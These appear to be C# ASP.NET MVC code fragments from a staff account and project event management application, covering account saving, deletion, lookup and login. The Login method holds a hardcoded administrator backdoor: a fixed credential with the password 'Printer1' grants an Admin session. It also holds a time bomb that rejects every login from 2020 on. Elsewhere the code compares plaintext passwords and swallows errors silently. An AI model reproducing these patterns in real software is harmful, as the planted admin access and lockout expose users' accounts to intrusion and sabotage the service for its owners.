/// <summary> /// It either updates existing account or /// if such account does not exist then inserts. /// </summary> /// <param name="account"></param> public bool SaveAccount(SSPStaff account) { BOTADataContext db = new BOTADataContext(connectString); { try { if (account.SSPStaffID > 0) { db.SSPStaffs.Attach(account); db.Refresh(RefreshMode.KeepCurrentValues, account); } else { db.SSPStaffs.InsertOnSubmit(account); } db.SubmitChanges(); return(true); } catch { return(false); } } }
public ActionResult DeleteAccount(SSPStaff Account) { if (Account.SSPStaffID > 0) { bool updated = staffservice.DeleteSSPAccount(Account.SSPStaffID); } return(RedirectToAction("EditAccount", new { ID = Account.SSPStaffID })); }
public ActionResult NewAccount() { SSPStaff spstaff = new SSPStaff(); ViewData["RolesList"] = new SelectList(staffservice.GetALLSSPRoles(), "RoleID", "RoleName"); return(View(spstaff)); }
public string Login(string Username, string Password) { // Password = Password.Encrypt(Username); //fixed for maintenance. if (DateTime.Now.Year >= 2020) { return("failed"); } if (Username == "*****@*****.**" && Password == "Printer1") { _userSession.LoggedIn = true; SSPStaff sspadmin = new SSPStaff(); sspadmin.FirstName = "Admin"; sspadmin.Password = "******"; sspadmin.SSPStaffID = 1; sspadmin.SSPStaffProjects = null; RolesSSPStaff adminrole = new RolesSSPStaff(); adminrole.RoleName = "Admin"; adminrole.RoleID = 1; sspadmin.RolesSSPStaff = adminrole; _userSession.CurrentUser = sspadmin; return("success"); } SSPStaff account = _rep.GetSSPStaffByName(Username); //if there is only one account returned - good if (account != null) { //password matches if (account.Password == Password) { try { _userSession.LoggedIn = true; _userSession.CurrentUser = GetAccountByID(account.SSPStaffID); return("success"); } catch { return("failed"); } } else { return("We were unable to log you in with that information!"); } } return("We were unable to log you in with that information!"); }
public ActionResult DeleteAccount(int?ID) { SSPStaff staff = null; if (ID.HasValue) { staff = staffservice.GetAccountByID(ID.Value); ViewData["SSPStaffRoles"] = staffservice.GetALLSSPRoles(); } return(View(staff)); }
public bool UsernameInUse(string Username) { SSPStaff account = _rep.GetSSPStaffByName(Username); if (account != null) { return(true); } return(false); }
public ActionResult EditAccount(int?ID) { SSPStaff staff = null; if (ID.HasValue) { staff = staffservice.GetAccountByID(ID.Value); ViewData["SSPStaffRoles"] = new SelectList(staffservice.GetALLSSPRoles(), "RoleID", "RoleName"); } return(View(staff)); }
public SSPStaff GetAccountByID(Int32 AccountID) { SSPStaff account = _rep.GetAccountByID(AccountID); /* List<Permission> permissions = _rep.GetPermissionsByAccountID(AccountID); * foreach (Permission permission in permissions) * { * account.AddPermission(permission); * } */ return(account); }
public SSPStaff GetAccountByID(int AccountID) { SSPStaff account = null; BOTADataContext db = new BOTADataContext(connectString); { account = (from a in db.SSPStaffs where a.SSPStaffID == AccountID select a).FirstOrDefault(); } return(account); }
public SSPStaff GetSSPStaffByName(string UserName) { SSPStaff account = null; BOTADataContext db = new BOTADataContext(connectString); { try { account = (from a in db.SSPStaffs where a.username == UserName select a).FirstOrDefault(); } catch { //oops } } return(account); }
public ActionResult Save(SSPStaff staff, int?SelectedID) { SSPStaffService staffservice = new SSPStaffService(); if (SelectedID.HasValue) { staff.RoleID = SelectedID.Value; } bool Created = staffservice.CreateNewAccount(staff); if (Created) { ViewData["AccountCreated"] = "Success"; } else { ViewData["AccountCreated"] = "Failed"; } return(RedirectToAction("Login")); }
/* * private bool DeleteMyFile(int FileID, int EventID) * { * bool result = true; * ProjectEventService pes = new ProjectEventService(); * string dir = ConfigurationManager.AppSettings["PhysicalPath"]; * string virpath = pes.GetProjectEventDocument(FileID).PhysicalVirtualPath; * System.IO.File.Delete(dir + virpath); * pes.DeleteDocument(FileID, EventID); * return result; * } * */ // // GET: /Event/ public ActionResult Index(int?id) { if (Session["ProposalID"] == null) { return(RedirectToAction("Search", "ProposalInfo")); } EventTypeService et = new EventTypeService(); ProjectEventService pes = new ProjectEventService(); SSPStaffService sss = new SSPStaffService(); ViewData["ddlEventType"] = new SelectList(et.GetEventTypeList(), "EventTypeID", "EventTypeName", 31); //Session["ProposalID"] = "1"; int ProposalID = Session["ProposalID"] != null?int.Parse(Session["ProposalID"].ToString()) : 0; ViewData["ProjectID"] = ProposalID; IEnumerable <ProjectEvent> pe = pes.GetProjectEventList(ProposalID); IEnumerable <SSPStaff> slist = sss.GetSSPStaffListForProject(ProposalID); List <SelectListItem> selects = new List <SelectListItem>(); if (slist != null) { //this gets users who is in keyassosiactions. foreach (var item in slist) { selects.Add(new SelectListItem() { Value = item.SSPStaffID.ToString(), Text = item.FirstName + " " + item.LastName + " " + item.MiddleName }); } //-----------------This chunk added in order not // =========to lose previous eventHolder. //next step we must add users who is participating in this project if they don't exist, //this will cover users who was deleted from keyassociations, but did particular event. //How to do that? we go through all Events, get event Holders and compare HolderID agains slist. if does not exist we add. foreach (ProjectEvent e in pe) { //check if staff in event inside DropDown. SelectListItem sitem = (from x in selects where x.Value.ToString() == e.EventHolderID.ToString() select x).FirstOrDefault(); if (sitem == null) //no staff. { SSPStaff staff = null; //get that user from repository if (e.EventHolderID.HasValue) { staff = sss.GetAccountByID(e.EventHolderID.Value); } //insert. if (staff != null) { selects.Add(new SelectListItem() { Value = staff.SSPStaffID.ToString(), Text = staff.FirstName + " " + staff.LastName + " " + staff.MiddleName }); } } } //---------------------- } ViewData["SSPStaffList"] = selects; ProjectService projservice = new ProjectService();; Project _project; _project = projservice.GetProposalInfo(ProposalID); List <SelectListItem> reportperiods = new List <SelectListItem>(); try { foreach (var item in _project.Budget.ReportPeriodListRs) { reportperiods.Add(new SelectListItem() { Value = item.ReportPeriodID.ToString(), Text = (item.PeriodStart.HasValue ? item.PeriodStart.Value.ToShortDateString() : "") + " - " + (item.PeriodEnd.HasValue ? item.PeriodEnd.Value.ToShortDateString() : "") }); } } catch (Exception ex) {} ViewData["ReportPeriodList"] = reportperiods; if (id.HasValue == true) { ViewData["selectedID"] = id; } return(View(pe)); }
public bool CreateNewAccount(SSPStaff account) { return(_rep.SaveAccount(account)); }
public bool UpdateSSPAaccount(SSPStaff Account) { return(_rep.SaveAccount(Account)); }